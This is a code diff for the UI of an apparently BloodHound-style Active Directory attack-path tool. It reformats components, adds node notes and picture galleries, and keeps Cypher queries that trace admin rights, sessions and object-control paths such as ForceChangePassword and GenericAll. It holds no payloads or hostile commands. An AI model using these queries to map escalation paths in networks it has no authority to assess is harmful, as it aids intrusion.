-                        <GpoNodeData visible={this.state.gpoVisible}/>
+                        <NoNodeData
+                            visible={
+                                !this.state.userVisible &&
+                                !this.state.computerVisible &&
+                                !this.state.groupVisible &&
+                                !this.state.domainVisible &&
+                                !this.state.gpoVisible &&
+                                !this.state.ouVisible
+                            }
+                        />
+                        <UserNodeData visible={this.state.userVisible} />
+                        <GroupNodeData visible={this.state.groupVisible} />
+                        <ComputerNodeData visible={this.state.computerVisible} />
+                        <DomainNodeData visible={this.state.domainVisible} />
+                        <GpoNodeData visible={this.state.gpoVisible} />
                         <OuNodeData visible={this.state.ouVisible} />
                     </Tab>
 
diff --git a/src/components/SearchContainer/Tabs/ComputerNodeData.jsx b/src/components/SearchContainer/Tabs/ComputerNodeData.jsx
index a1cb61d..c318ee3 100644
--- a/src/components/SearchContainer/Tabs/ComputerNodeData.jsx
+++ b/src/components/SearchContainer/Tabs/ComputerNodeData.jsx
@@ -1,12 +1,21 @@
-import React, { Component } from 'react';
-import PropTypes from 'prop-types';
-import NodeProps from './NodeProps';
-import NodeCypherLink from './NodeCypherLink';
-import NodeCypherNoNumberLink from './NodeCypherNoNumberLink';
-import NodeCypherLinkComplex from './NodeCypherLinkComplex';
+import React, { Component } from "react";
+import PropTypes from "prop-types";
+import NodeProps from "./NodeProps";
+import NodeCypherLink from "./NodeCypherLink";
+import NodeCypherNoNumberLink from "./NodeCypherNoNumberLink";
+import NodeCypherLinkComplex from "./NodeCypherLinkComplex";
+import Gallery from "react-photo-gallery";
+import SelectedImage from "./SelectedImage";
+import Lightbox from "react-images";
+import { readFileSync, writeFileSync } from "fs";
+import sizeOf from "image-size";
+import md5File from "md5-file";
+import { remote } from "electron";
+const { app } = remote;
+import { join } from "path";
 
 export default class ComputerNodeData extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
@@ -14,14 +23,33 @@ export default class ComputerNodeData extends Component {
             driversessions: [],
             propertyMap: {},
             ServicePrincipalNames: [],
-            displayMap: { "OperatingSystem": "OS", "Enabled": "Enabled", "UnconstrainedDelegation": "Allows Unconstrained Delegation"}
+            displayMap: {
+                operatingsystem: "OS",
+                enabled: "Enabled",
+                unconstraineddelegation: "Allows Unconstrained Delegation",
+                owned: "Compromised"
+            },
+            notes: null,
+            pics: [],
+            currentImage: 0,
+            lightboxIsOpen: false
         };
 
-        emitter.on('computerNodeClicked', this.getNodeData.bind(this));
+        emitter.on("computerNodeClicked", this.getNodeData.bind(this));
+        emitter.on("imageUploadFinal", this.uploadImage.bind(this));
+        emitter.on("clickPhoto", this.openLightbox.bind(this));
+        emitter.on("deletePhoto", this.handleDelete.bind(this));
     }
 
-    getNodeData(payload){
-        $.each(this.state.driversessions, function(index, record){
+    componentDidMount() {
+        jQuery(this.refs.complete).hide();
+        jQuery(this.refs.piccomplete).hide();
+    }
+
+    getNodeData(payload) {
+        jQuery(this.refs.complete).hide();
+        jQuery(this.refs.piccomplete).hide();
+        $.each(this.state.driversessions, function(_, record) {
             record.close();
         });
         this.setState({
@@ -30,73 +58,381 @@ export default class ComputerNodeData extends Component {
             driversessions: []
         });
 
+        let key = `computer_${this.state.label}`;
+        let c = imageconf.get(key);
+        let pics = [];
+        if (typeof c !== "undefined"){
+            this.setState({pics: c})
+        }else{
+            this.setState({pics: pics})
+        }
+
         var propCollection = driver.session();
-        propCollection.run("MATCH (c:Computer {name:{name}}) RETURN c", {name:payload})
-            .then(function(result){
-                var properties = result.records[0]._fields[0].properties;                
-                this.setState({propertyMap: properties});
-                propCollection.close();
-            }.bind(this));
+        propCollection
+            .run("MATCH (c:Computer {name:{name}}) RETURN c", { name: payload })
+            .then(
+                result => {
+                    var properties = result.records[0]._fields[0].properties;
+                    let spn;
+                    if (!properties.serviceprincipalnames){
+                        spn = [];
+                    }else{
+                        spn = properties.serviceprincipalnames;
+                    }
+                    let notes;
+                    if (!properties.notes){
+                        notes = null;
+                    }else{
+                        notes = properties.notes;
+                    }
+
+                    let del;
+                    if (!properties.allowedtodelegate){
+                        del = []
+                    }else{
+                        del = properties.allowedtodelegate;
+                    }
+                    this.setState({
+                        ServicePrincipalNames:spn,
+                        AllowedToDelegate: del,
+                        propertyMap: properties,
+                        notes: notes
+                    });
+                    propCollection.close();
+                }
+            );
+
+        this.setState({ driversessions: [propCollection] });
+    }
+
+    uploadImage(files) {
+        if (!this.props.visible || files.length === 0) {
+            return;
+        }
+        let p = this.state.pics;
+        let oLen = p.length;
+        let key = `computer_${this.state.label}`;
         
-        this.setState({'driversessions': [propCollection]});
+        $.each(files, (_, f) => {
+            let exists = false;
+            let hash = md5File.sync(f.path);
+            $.each(p, (_, p1) => {
+                if (p1.hash === hash){
+                    exists = true;
+                }
+            })
+            if (exists){
+                emitter.emit("showAlert", "Image already exists");
+                return;
+            }
+            let path = join(app.getPath("userData"), "images", hash);
+            let dimensions = sizeOf(f.path);
+            let data = readFileSync(f.path);
+            writeFileSync(path, data);
+            p.push({hash: hash, src: path, width: dimensions.width, height: dimensions.height})
+        });
+
+        if (p.length === oLen){
+            return;
+        }
+        this.setState({pics: p});
+        imageconf.set(key, p)
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    handleDelete(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        let pics = this.state.pics;
+        let temp = pics[event.index];
+        pics.splice(event.index, 1);
+        this.setState({
+            pics: pics
+        })
+        let key = `computer_${this.state.label}`;
+        imageconf.set(key, pics);
+        
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    openLightbox(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: event.index,
+            lightboxIsOpen: true
+        });
+    }
+    closeLightbox() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: 0,
+            lightboxIsOpen: false
+        });
+    }
+    gotoPrevious() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage - 1
+        });
+    }
+    gotoNext() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage + 1
+        });
+    }
+
+    notesChanged(event){
+        this.setState({notes: event.target.value})
+    }
+
+    notesBlur(event){
+        let notes = this.state.notes === null || this.state.notes === "" ? null : this.state.notes;
+        let q = driver.session();
+        if (notes === null){
+            q.run("MATCH (n:Computer {name:{name}}) REMOVE n.notes", {name: this.state.label}).then(() => {
+                q.close();
+            });
+        }else{
+            q.run("MATCH (n:Computer {name:{name}}) SET n.notes = {notes}", {name: this.state.label, notes: this.state.notes}).then(() =>{
+                q.close();
+            });
+        }
+        let check = jQuery(this.refs.complete);
+        check.show();
+        check.fadeOut(2000);
     }
 
     render() {
+        let gallery;
+        if (this.state.pics.length === 0){
+            gallery = (<span>Drop pictures on here to upload!</span>)
+        }else{
+            gallery = (
+            <React.Fragment>
+                <Gallery
+                    photos={this.state.pics}
+                    ImageComponent={SelectedImage}
+                    className={"gallerymod"}
+                />
+                <Lightbox
+                    images={this.state.pics}
+                    isOpen={this.state.lightboxIsOpen}
+                    onClose={this.closeLightbox.bind(this)}
+                    onClickPrev={this.gotoPrevious.bind(this)}
+                    onClickNext={this.gotoNext.bind(this)}
+                    currentImage={this.state.currentImage}
+                />
+            </React.Fragment>)
+        }
+
         return (
             <div className={this.props.visible ? "" : "displaynone"}>
-                <dl className='dl-horizontal'>
+                <dl className="dl-horizontal">
                     <h4>Node Info</h4>
-                    <dt>
-                        Name
-                    </dt>
-                    <dd>
-                        {this.state.label}
-                    </dd>
-                    <NodeProps properties={this.state.propertyMap} displayMap={this.state.displayMap} ServicePrincipalNames={this.state.ServicePrincipalNames} />
+                    <dt>Name</dt>
+                    <dd>{this.state.label}</dd>
+                    <NodeProps
+                        properties={this.state.propertyMap}
+                        displayMap={this.state.displayMap}
+                        ServicePrincipalNames={this.state.ServicePrincipalNames}
+                        AllowedToDelegate={this.state.AllowedToDelegate}
+                    />
 
-                    <NodeCypherLink property="Sessions" target={this.state.label} baseQuery={"MATCH p=(m:Computer {name:{name}})-[r:HasSession]->(n:User) WHERE NOT n.name ENDS WITH '$'"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Sessions"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(m:Computer {name:{name}})-[r:HasSession]->(n:User) WHERE NOT n.name ENDS WITH '$'"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLinkComplex property="Sibling Objects in the Same OU" target={this.state.label} countQuery={"MATCH (o1)-[r1:Contains]->(o2:Computer {name:{name}}) WITH o1 OPTIONAL MATCH p1=(d)-[r2:Contains*1..]->(o1) OPTIONAL MATCH p2=(o1)-[r3:Contains]->(n) WHERE n:User OR n:Computer RETURN count(distinct(n))"} graphQuery={"MATCH (o1)-[r1:Contains]->(o2:Computer {name:{name}}) WITH o1 OPTIONAL MATCH p1=(d)-[r2:Contains*1..]->(o1) OPTIONAL MATCH p2=(o1)-[r3:Contains]->(n) WHERE n:User OR n:Computer RETURN p1,p2"} />
+                    <NodeCypherLinkComplex
+                        property="Sibling Objects in the Same OU"
+                        target={this.state.label}
+                        countQuery={
+                            "MATCH (o1)-[r1:Contains]->(o2:Computer {name:{name}}) WITH o1 OPTIONAL MATCH p1=(d)-[r2:Contains*1..]->(o1) OPTIONAL MATCH p2=(o1)-[r3:Contains]->(n) WHERE n:User OR n:Computer RETURN count(distinct(n))"
+                        }
+                        graphQuery={
+                            "MATCH (o1)-[r1:Contains]->(o2:Computer {name:{name}}) WITH o1 OPTIONAL MATCH p1=(d)-[r2:Contains*1..]->(o1) OPTIONAL MATCH p2=(o1)-[r3:Contains]->(n) WHERE n:User OR n:Computer RETURN p1,p2"
+                        }
+                    />
 
-                    <NodeCypherLinkComplex property="Effective Inbound GPOs" target={this.state.label} countQuery={"MATCH (c:Computer {name:{name}}) OPTIONAL MATCH p1 = (g1:GPO)-[r1:GpLink {enforced:true}]->(container1)-[r2:Contains*1..]->(c) OPTIONAL MATCH p2 = (g2:GPO)-[r3:GpLink {enforced:false}]->(container2)-[r4:Contains*1..]->(c) WHERE NONE (x in NODES(p2) WHERE x.blocksInheritance = true AND x:OU AND NOT (g2)-->(x)) RETURN count(g1)+count(g2)"} graphQuery={"MATCH (c:Computer {name:{name}}) OPTIONAL MATCH p1 = (g1:GPO)-[r1:GpLink {enforced:true}]->(container1)-[r2:Contains*1..]->(c) OPTIONAL MATCH p2 = (g2:GPO)-[r3:GpLink {enforced:false}]->(container2)-[r4:Contains*1..]->(c) WHERE NONE (x in NODES(p2) WHERE x.blocksInheritance = true AND x:OU AND NOT (g2)-->(x)) RETURN p1,p2"} />
+                    <NodeCypherLinkComplex
+                        property="Effective Inbound GPOs"
+                        target={this.state.label}
+                        countQuery={
+                            "MATCH (c:Computer {name:{name}}) OPTIONAL MATCH p1 = (g1:GPO)-[r1:GpLink {enforced:true}]->(container1)-[r2:Contains*1..]->(c) OPTIONAL MATCH p2 = (g2:GPO)-[r3:GpLink {enforced:false}]->(container2)-[r4:Contains*1..]->(c) WHERE NONE (x in NODES(p2) WHERE x.blocksinheritance = true AND x:OU AND NOT (g2)-->(x)) RETURN count(g1)+count(g2)"
+                        }
+                        graphQuery={
+                            "MATCH (c:Computer {name:{name}}) OPTIONAL MATCH p1 = (g1:GPO)-[r1:GpLink {enforced:true}]->(container1)-[r2:Contains*1..]->(c) OPTIONAL MATCH p2 = (g2:GPO)-[r3:GpLink {enforced:false}]->(container2)-[r4:Contains*1..]->(c) WHERE NONE (x in NODES(p2) WHERE x.blocksinheritance = true AND x:OU AND NOT (g2)-->(x)) RETURN p1,p2"
+                        }
+                    />
 
-                    <NodeCypherNoNumberLink target={this.state.label} property="See Computer within Domain/OU Tree" query="MATCH p = (d:Domain)-[r:Contains*1..]->(u:Computer {name:{name}}) RETURN p" />
+                    <NodeCypherNoNumberLink
+                        target={this.state.label}
+                        property="See Computer within Domain/OU Tree"
+                        query="MATCH p = (d:Domain)-[r:Contains*1..]->(u:Computer {name:{name}}) RETURN p"
+                    />
                     <h4>Local Admins</h4>
 
-                    <NodeCypherLink property="Explicit Admins" target={this.state.label} baseQuery={"MATCH p=(n)-[b:AdminTo]->(c:Computer {name:{name}})"} end={this.state.label} />
+                    <NodeCypherLink
+                        property="Explicit Admins"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(n)-[b:AdminTo]->(c:Computer {name:{name}})"
+                        }
+                        end={this.state.label}
+                    />
 
-                    <NodeCypherLink property="Unrolled Admins" target={this.state.label} baseQuery={"MATCH p=(n)-[r:MemberOf|AdminTo*1..]->(m:Computer {name:{name}}) WHERE NOT n:Group"} end={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Unrolled Admins"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(n)-[r:MemberOf|AdminTo*1..]->(m:Computer {name:{name}}) WHERE NOT n:Group"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Derivative Local Admins" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((n)-[r:AdminTo|MemberOf|HasSession*1..]->(m:Computer {name:{name}}))"} end={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Derivative Local Admins"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((n)-[r:AdminTo|MemberOf|HasSession*1..]->(m:Computer {name:{name}}))"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
 
                     <h4>Group Memberships</h4>
-                    
-                    <NodeCypherLink property="First Degree Group Membership" target={this.state.label} baseQuery={"MATCH (m:Computer {name:{name}}),(n:Group), p=(m)-[r:MemberOf]->(n)"} start={this.state.label} />
 
-                    <NodeCypherLink property="Unrolled Group Membership" target={this.state.label} baseQuery={"MATCH p=(c:Computer {name:{name}})-[r:MemberOf*1..]->(n:Group)"} start={this.state.label} />
+                    <NodeCypherLink
+                        property="First Degree Group Membership"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (m:Computer {name:{name}}),(n:Group), p=(m)-[r:MemberOf]->(n)"
+                        }
+                        start={this.state.label}
+                    />
 
-                    <NodeCypherLink property="Foreign Group Membership" target={this.state.label} baseQuery={"MATCH p=(c:Computer {name:{name}})-[r:MemberOf*1..]->(n:Group) WHERE NOT n.domain = c.domain"} start={this.state.label} />
+                    <NodeCypherLink
+                        property="Unrolled Group Membership"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(c:Computer {name:{name}})-[r:MemberOf*1..]->(n:Group)"
+                        }
+                        start={this.state.label}
+                    />
+
+                    <NodeCypherLink
+                        property="Foreign Group Membership"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(c:Computer {name:{name}})-[r:MemberOf*1..]->(n:Group) WHERE NOT n.domain = c.domain"
+                        }
+                        start={this.state.label}
+                    />
 
                     <h4>Local Admin Rights</h4>
 
-                    <NodeCypherLink property="First Degree Local Admin" target={this.state.label} baseQuery={"MATCH (m:Computer {name:{name}}), (n:Computer), p=(m)-[r:AdminTo]->(n)"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="First Degree Local Admin"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (m:Computer {name:{name}}), (n:Computer), p=(m)-[r:AdminTo]->(n)"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Group Delegated Local Admin" target={this.state.label} baseQuery={"MATCH p=(m:Computer {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) WHERE NOT n.name={name}"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Group Delegated Local Admin"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(m:Computer {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) WHERE NOT n.name={name}"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Derivative Local Admin" target={this.state.label} baseQuery={"MATCH (m:Computer {name:{name}}), (n:Computer) WHERE NOT n.name={name} MATCH p=shortestPath((m)-[r:AdminTo|MemberOf*1..]->(n))"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Derivative Local Admin"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (m:Computer {name:{name}}), (n:Computer) WHERE NOT n.name={name} MATCH p=shortestPath((m)-[r:AdminTo|MemberOf*1..]->(n))"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
                     <h4>Outbound Object Control</h4>
-                    <NodeCypherLink property="First Degree Object Control" target={this.state.label} baseQuery={"MATCH p = (c:Computer {name:{name}})-[r]->(n) WHERE r.isACL=true"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="First Degree Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (c:Computer {name:{name}})-[r]->(n) WHERE r.isacl=true"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Group Delegated Object Control" target={this.state.label} baseQuery={"MATCH p = (c:Computer {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2]->(n) WHERE r2.isACL=true"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Group Delegated Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (c:Computer {name:{name}})-[r1:MemberOf*1..]->(g:Group)-[r2]->(n) WHERE r2.isacl=true"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Transitive Object Control" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((c:Computer {name:{name}})-[r:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(n))"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Transitive Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((c:Computer {name:{name}})-[r:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(n))"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
                 </dl>
+                <div>
+                    <h4 className={"inline"}>Notes</h4>
+                    <i
+                        ref="complete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                <textarea onBlur={this.notesBlur.bind(this)} onChange={this.notesChanged.bind(this)} value={this.state.notes === null ? "" : this.state.notes} className={"node-notes-textarea"} ref="notes" />
+                <div>
+                    <h4 className={"inline"}>Pictures</h4>
+                    <i
+                        ref="piccomplete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                {gallery}
             </div>
         );
     }
 }
 
-ComputerNodeData.propTypes= {
-    visible : PropTypes.bool.isRequired
+ComputerNodeData.propTypes = {
+    visible: PropTypes.bool.isRequired
 };
diff --git a/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx b/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx
index 105d327..07e20a2 100644
--- a/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx
+++ b/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx
@@ -1,26 +1,25 @@
-import React, { Component } from 'react';
-import LogoutModal from 'modals/LogoutModal';
+import React, { Component } from "react";
 
 export default class DatabaseDataDisplay extends Component {
-    constructor(){
+    constructor() {
         super();
         this.state = {
             url: appStore.databaseInfo.url,
             user: appStore.databaseInfo.user,
-            num_users: 'Refreshing',
-            num_computers: 'Refreshing',
-            num_groups: 'Refreshing',
-            num_relationships: 'Refreshing',
-            num_sessions: 'Refreshing',
-            num_acls: 'Refreshing',
+            num_users: "Refreshing",
+            num_computers: "Refreshing",
+            num_groups: "Refreshing",
+            num_relationships: "Refreshing",
+            num_sessions: "Refreshing",
+            num_acls: "Refreshing",
             interval: null
         };
     }
 
     componentDidMount() {
         this.refreshDBData();
-        emitter.on('hideDBClearModal', this.refreshDBData.bind(this));
-        emitter.on('refreshDBData', this.refreshDBData.bind(this));
+        emitter.on("hideDBClearModal", this.refreshDBData.bind(this));
+        emitter.on("refreshDBData", this.refreshDBData.bind(this));
         this.createInterval();
     }
 
@@ -32,28 +31,31 @@ export default class DatabaseDataDisplay extends Component {
         });
     }
 
-    createInterval(){
-        var x = setInterval(function(){
-            this.refreshDBData();
-        }.bind(this), 60000);
+    createInterval() {
+        var x = setInterval(
+            () => {
+                this.refreshDBData();
+            },
+            60000
+        );
         this.setState({
             interval: x
         });
-    };
-
-    toggleLogoutModal(){
-        emitter.emit('showLogout');
     }
 
-    toggleDBWarnModal(){
-        emitter.emit('openDBWarnModal');
+    toggleLogoutModal() {
+        emitter.emit("showLogout");
     }
 
-    toggleSessionClearModal(){
-        emitter.emit('openSessionClearModal');
+    toggleDBWarnModal() {
+        emitter.emit("openDBWarnModal");
     }
 
-    refreshDBData(){
+    toggleSessionClearModal() {
+        emitter.emit("openSessionClearModal");
+    }
+
+    refreshDBData() {
         var s1 = driver.session();
         var s2 = driver.session();
         var s3 = driver.session();
@@ -61,43 +63,57 @@ export default class DatabaseDataDisplay extends Component {
         var s5 = driver.session();
         var s6 = driver.session();
 
-        s1.run("MATCH (n:User) WHERE NOT n.name ENDS WITH '$' RETURN count(n)")
-            .then(function(result){
-                this.setState({'num_users':result.records[0]._fields[0].low});
+        s1.run(
+            "MATCH (n:User) WHERE NOT n.name ENDS WITH '$' RETURN count(n)"
+        ).then(
+            result => {
+                this.setState({ num_users: result.records[0]._fields[0].low });
                 s1.close();
-            }.bind(this));
-        
-        s2.run("MATCH (n:Group) RETURN count(n)")
-            .then(function(result){
-                this.setState({'num_groups':result.records[0]._fields[0].low});
+            }
+        );
+
+        s2.run("MATCH (n:Group) RETURN count(n)").then(
+            result => {
+                this.setState({ num_groups: result.records[0]._fields[0].low });
                 s2.close();
-            }.bind(this));
-        
-        s3.run("MATCH (n:Computer) RETURN count(n)")
-            .then(function(result){
-                this.setState({'num_computers':result.records[0]._fields[0].low});
+            }
+        );
+
+        s3.run("MATCH (n:Computer) RETURN count(n)").then(
+            result => {
+                this.setState({
+                    num_computers: result.records[0]._fields[0].low
+                });
                 s3.close();
-            }.bind(this));
+            }
+        );
 
-        s4.run("MATCH ()-[r:HasSession]->() RETURN count(r)")
-            .then(function(result){
-                this.setState({'num_sessions':result.records[0]._fields[0].low});
+        s4.run("MATCH ()-[r:HasSession]->() RETURN count(r)").then(
+            result => {
+                this.setState({
+                    num_sessions: result.records[0]._fields[0].low
+                });
                 s4.close();
-            }.bind(this));
-            
-        s6.run("MATCH ()-[r {isACL: true}]->() RETURN count(r)")
-            .then(function(result){
-                this.setState({'num_acls':result.records[0]._fields[0].low});
-                s6.close();
-            }.bind(this));
+            }
+        );
 
-        s5.run("MATCH ()-[r]->() RETURN count(r)")
-            .then(function(result){
-                this.setState({'num_relationships':result.records[0]._fields[0].low});
+        s6.run("MATCH ()-[r {isacl: true}]->() RETURN count(r)").then(
+            result => {
+                this.setState({ num_acls: result.records[0]._fields[0].low });
+                s6.close();
+            }
+        );
+
+        s5.run("MATCH ()-[r]->() RETURN count(r)").then(
+            result => {
+                this.setState({
+                    num_relationships: result.records[0]._fields[0].low
+                });
                 s5.close();
-            }.bind(this));
+            }
+        );
     }
-    
+
     render() {
         return (
             <div>
@@ -122,11 +138,39 @@ export default class DatabaseDataDisplay extends Component {
                 </dl>
 
                 <div className="text-center">
-                    <div className="btn-group btn-group-sm dbbuttons">
-                        <button type="button" className="btn btn-success" onClick={function(){this.refreshDBData();}.bind(this)}>Refresh DB Stats</button>
-                        <button type="button" className="btn btn-info" onClick={this.toggleSessionClearModal}>Clear Sessions</button>
-                        <button type="button" className="btn btn-warning" onClick={this.toggleLogoutModal}>Log Out/Switch DB</button>
-                        <button type="button" className="btn btn-danger" onClick={this.toggleDBWarnModal}>Clear Database</button>
+                    <div className="btn-group-vertical btn-group-sm dbbuttons">
+                        <button
+                            type="button"
+                            className="btn btn-success"
+                            onClick={function() {
+                                this.refreshDBData();
+                            }.bind(this)}
+                        >
+                            Refresh DB Stats
+                        </button>
+                        <button
+                            type="button"
+                            className="btn btn-warning"
+                            onClick={this.toggleLogoutModal}
+                        >
+                            Log Out/Switch DB
+                        </button>
+                    </div>
+                    <div className="btn-group-vertical btn-group-sm dbbuttons">
+                    <button
+                        type="button"
+                        className="btn btn-info"
+                        onClick={this.toggleSessionClearModal}
+                    >
+                            Clear Sessions
+                        </button>
+                        <button
+                            type="button"
+                            className="btn btn-danger"
+                            onClick={this.toggleDBWarnModal}
+                        >
+                            Clear Database
+                        </button>
                     </div>
                 </div>
             </div>
diff --git a/src/components/SearchContainer/Tabs/DomainNodeData.jsx b/src/components/SearchContainer/Tabs/DomainNodeData.jsx
index d6282cb..e4f07fa 100644
--- a/src/components/SearchContainer/Tabs/DomainNodeData.jsx
+++ b/src/components/SearchContainer/Tabs/DomainNodeData.jsx
@@ -1,12 +1,22 @@
-import React, { Component } from 'react';
-import LoadLabel from './LoadLabel.jsx';
-import PropTypes from 'prop-types';
-import NodeCypherLink from './NodeCypherLink.jsx';
-import NodeCypherNoNumberLink from './NodeCypherNoNumberLink';
-import NodeCypherLinkComplex from './NodeCypherLinkComplex';
+import React, { Component } from "react";
+import LoadLabel from "./LoadLabel.jsx";
+import PropTypes from "prop-types";
+import NodeCypherLink from "./NodeCypherLink.jsx";
+import NodeCypherNoNumberLink from "./NodeCypherNoNumberLink";
+import NodeCypherLinkComplex from "./NodeCypherLinkComplex";
+import NodeProps from "./NodeProps";
+import Gallery from "react-photo-gallery";
+import SelectedImage from "./SelectedImage";
+import Lightbox from "react-images";
+import { readFileSync, writeFileSync } from "fs";
+import sizeOf from "image-size";
+import md5File from "md5-file";
+import { remote } from "electron";
+const { app } = remote;
+import { join } from "path";
 
 export default class DomainNodeData extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
@@ -16,16 +26,35 @@ export default class DomainNodeData extends Component {
             computers: -1,
             ous: -1,
             gpos: -1,
-            driversessions: []
+            driversessions: [],
+            propertyMap: {},
+            displayMap: {
+                "description":"Description",
+                "functionallevel":"Domain Functional Level"
+            },
+            notes: null,
+            pics: [],
+            currentImage: 0,
+            lightboxIsOpen: false
         };
 
-        emitter.on('domainNodeClicked', this.getNodeData.bind(this));
+        emitter.on("domainNodeClicked", this.getNodeData.bind(this));
+        emitter.on("imageUploadFinal", this.uploadImage.bind(this));
+        emitter.on("clickPhoto", this.openLightbox.bind(this));
+        emitter.on("deletePhoto", this.handleDelete.bind(this));
     }
 
-    getNodeData(payload){
-        $.each(this.state.driversessions, function(index, record){
+    componentDidMount() {
+        jQuery(this.refs.complete).hide();
+        jQuery(this.refs.piccomplete).hide();
+    }
+
+    getNodeData(payload) {
+        jQuery(this.refs.complete).hide();
+        $.each(this.state.driversessions, (_, record) => {
             record.close();
         });
+
         this.setState({
             label: payload,
             users: -1,
@@ -35,138 +64,403 @@ export default class DomainNodeData extends Component {
             gpos: -1
         });
 
+        let key = `domain_${this.state.label}`;
+        let c = imageconf.get(key);
+        let pics = [];
+        if (typeof c !== "undefined"){
+            this.setState({pics: c})
+        }else{
+            this.setState({pics: pics})
+        }
+
+        let props = driver.session();
+        props
+            .run("MATCH (n:Domain {name:{name}}) RETURN n", { name: payload })
+            .then(
+                function(result) {
+                    var properties = result.records[0]._fields[0].properties;
+                    let notes;
+                    if (!properties.notes){
+                        notes = null;
+                    }else{
+                        notes = properties.notes;
+                    }
+                    this.setState({ propertyMap: properties, notes: notes });
+                    props.close();
+                }.bind(this)
+            );
+
         let s1 = driver.session();
         let s2 = driver.session();
         let s3 = driver.session();
         let s4 = driver.session();
         let s5 = driver.session();
 
-        s1.run("MATCH (a:User) WHERE a.domain={name} RETURN COUNT(a)", {name:payload})
-            .then(function(result){
-                this.setState({'users':result.records[0]._fields[0].low});
+        s1.run("MATCH (a:User) WHERE a.domain={name} RETURN COUNT(a)", {
+            name: payload
+        }).then(
+            function(result) {
+                this.setState({ users: result.records[0]._fields[0].low });
                 s1.close();
-            }.bind(this));
+            }.bind(this)
+        );
 
-        s2.run("MATCH (a:Group) WHERE a.domain={name} RETURN COUNT(a)", {name:payload})
-            .then(function(result){
-                this.setState({'groups':result.records[0]._fields[0].low});
+        s2.run("MATCH (a:Group) WHERE a.domain={name} RETURN COUNT(a)", {
+            name: payload
+        }).then(
+            function(result) {
+                this.setState({ groups: result.records[0]._fields[0].low });
                 s2.close();
-            }.bind(this));
+            }.bind(this)
+        );
 
-        s3.run("MATCH (n:Computer) WHERE n.domain={name} RETURN count(n)", {name:payload})
-            .then(function(result){
-                this.setState({'computers':result.records[0]._fields[0].low});
+        s3.run("MATCH (n:Computer) WHERE n.domain={name} RETURN count(n)", {
+            name: payload
+        }).then(
+            function(result) {
+                this.setState({ computers: result.records[0]._fields[0].low });
                 s3.close();
-            }.bind(this));
-        
-        s4.run("MATCH (n:OU {domain:{name}}) RETURN COUNT(n)", { name: payload })
-            .then(function (result) {
-                this.setState({ 'ous': result.records[0]._fields[0].low });
+            }.bind(this)
+        );
+
+        s4.run("MATCH (n:OU {domain:{name}}) RETURN COUNT(n)", {
+            name: payload
+        }).then(
+            function(result) {
+                this.setState({ ous: result.records[0]._fields[0].low });
                 s4.close();
-            }.bind(this));
-        
-        s5.run("MATCH (n:GPO {domain:{name}}) RETURN COUNT(n)", { name: payload })
-            .then(function (result) {
-                this.setState({ 'gpos': result.records[0]._fields[0].low });
+            }.bind(this)
+        );
